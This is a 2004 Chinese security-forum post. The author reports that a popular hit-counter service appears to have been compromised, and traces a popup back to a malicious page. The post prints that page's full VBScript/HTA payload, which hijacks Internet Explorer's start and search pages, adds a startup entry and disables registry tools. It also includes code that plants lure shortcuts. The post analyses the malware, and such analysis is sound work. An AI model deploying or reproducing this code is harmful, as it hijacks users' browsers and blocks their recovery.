20CN网络安全小组论坛 - 菜鸟乐园 - ◆太极链被黑！所有有太极链计数器的网站都有危险！！！

论坛: 菜鸟乐园标题: ◆太极链被黑！所有有太极链计数器的网站都有危险！！！

作者: drckness [drckness]

论坛用户

今天早上进我的网站首页突然发现打开之后跟着又弹出一个窗口并马上关闭，心想自己做的主页没有弹出窗口，再看我的IE主页、标题等全被一个叫http://www.1777.com的网站给改了。我心说这是怎么会事。于是删了注册表中所有关于http://www.1777.com项。重启以为没事了，再打开我的主页这个网站又锁定了我的IE。于是又删……拷！！！
我打开新浪却没弹出页，这是怎么会事，问题一定出在我的首页上。
于是我在主页打开的一瞬间，看清了弹出页的URL，拷是 http://www.1777.com/2.asp
我用影音传送带下载了这个asp页
源码如下：
<script language="javascript">
setTimeout("closewind()",1000);
function closewind()
{
window.close();
}
</script>

<object data="http://www.17777.com/17777.asp"></object>
………………………………………………………………………………………………………………
TMD又指向了http://www.17777.com/17777.asp并在一秒种后关闭！
fuck!!!
于是我又DOWN了http://www.17777.com/17777.asp的源文件。
源码如下：

<html>
<HTA:APPLICATION caption="no" border="none" windowState="minimize" visiable="no" showintaskbar="no">
<body onload="window.blur();">

<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script LANGUAGE="VBScript">
on error resume next
window.moveTo -1000,-1000
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\default_page_url", "http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url1","http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url2","http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url3","http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page","http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page","http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage","1","REG_DWORD"
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IEXPLORE.EXE", "IEXPLORE.EXE http://www.17777.com/"
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "--欢迎访问 www.17777.com--"
window.close
</script>
<script LANGUAGE="VBScript">
'Call LongFei_AddFavorites("大学同桌小玲的照片","http://web.fs169.net/aisi/movie/link.htm")
'Call LongFei_AddFavorites("【免费DVD电影】","http://web.fs169.net/aisi/avmei/link.htm")

on error resume next
'Call LongFei_AddDesktop("美女写真免费提供","http://web.fs169.net/aisi/avmei/link.htm")
'Call LongFei_AddDesktop("小电影在线免费看","http://web.fs169.net/aisi/movie/link.htm")

on error resume next
'Call LongFei_AddQuickLaunch("[10万在线音乐免费听下载]","http://web.fs169.net/aisi/movie/link.htm")
'Call LongFei_AddQuickLaunch("朋友的高中女同学","http://web.fs169.net/aisi/avmei/link.htm")

Function LongFei_AddFavorites(N, U)
on error resume next
Set S = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/" + N +".URL")
S.TargetPath = U
S.Save()
Set Sl = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/链接/" + N +".URL")
Sl.TargetPath = U
Sl.Save()
End Function

Function LongFei_AddDesktop(N, U)
on error resume next
Set S = wsh.CreateShortcut(wsh.SpecialFolders("AllUsersDesktop") + "/" + N +".URL")
S.TargetPath = U
S.Save()
End Function

</script>
<script language="javascript">
window.close();
</script>
</body>
</html>
…………………………………………………………………………………………
这下明白是什么原因了。
可是当我把太极链接的链接给去了之后就没有弹出页！于是我怀疑是太极链的问题。
又找了几个有太极链计数器的网站，在打开的时候都会弹出这个页面。
FUCK!!
太极链不会这么白吃吧！
不是被黑是个屁！！
你们说呢？？？？？

地主发表时间: 04-04-25 12:29

回复: newmyth21 [newmyth21]

论坛用户

B1层发表时间: 04-04-26 16:06

回复: snowred [snowred]

论坛用户

晕了！

B2层发表时间: 04-04-26 16:10

论坛: 菜鸟乐园